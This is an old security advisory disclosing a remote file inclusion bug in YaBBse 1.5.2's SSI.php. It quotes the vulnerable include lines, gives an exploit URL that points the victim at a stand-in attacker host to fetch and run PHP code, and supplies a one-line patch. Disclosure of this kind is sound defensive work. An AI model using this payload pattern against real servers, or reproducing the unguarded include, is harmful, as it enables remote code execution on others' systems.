II-Labs Advisory: Remote code execution in YaBBse 1.5.2 (php version)

[DownBload <downbload () hotmail com>]

                  [ Illegal Instruction Labs Advisory ]
[------------------------------------------------------------------------]
Advisory name: Remote code execution in YaBBse 1.5.2 (php version)
Advisory number: 13
Application: Yet another Bulletin Board 1.5.2 
Vendor: www.yabbse.org                                        
Date: 06.05.2003
Impact: Attacker can execute arbitrary php code 
Tested on: *
Discovered by: Dalibor Karlovic & DownBload
Mail me @: downbload () hotmail com     
Homepage: www.kamikaza.org



======[ Overview 
YaBB is widely used bulletin board system. 



======[ Problem         
One of the files that are included in main application is vulnerable 
to remote code execution if it is accessed directly with certain 
parameters.
Name of the file is SSI.php.
Simmilar bug was discovered in previous version YaBB 1.5.1.

SSI.php:
------------------------------------------
include_once ($sourcedir . '/Errors.php');
include_once ($sourcedir . '/Subs.php');
include_once ($sourcedir . '/Load.php');    
------------------------------------------

We can define $sourcedir variable through URL and include some other
PHP script local or remote if remote inclusion is enabled in php.ini file.
Bug in not exploitable if PHP's registar_globals is set to off. 




======[ Exploit

Exploit would look like this:
----cut here----
http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com
----cut here----

Attacker would place an Errors.php file on his server. The code included
would get executed on victim's server.
Attacker's httpd server should not have php enabled because the
script will be parsed before sending it to the victim.




======[ Solution

Add this line before include_once() lines mentioned above.

----cut here----
if (!isset($sourcedir)) $sourcedir = "";
----cut here----




======[ Greetz 
Greetz goes to #hr.hackers and #linux <irc.carnet.hr>. 
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis, 
Fr1c, phreax, StYx, harlequin, LekaMan, Astral and active-security.
Shitz goes to stupid darkman, who will exploit this bug and claim that
he is a great hacker.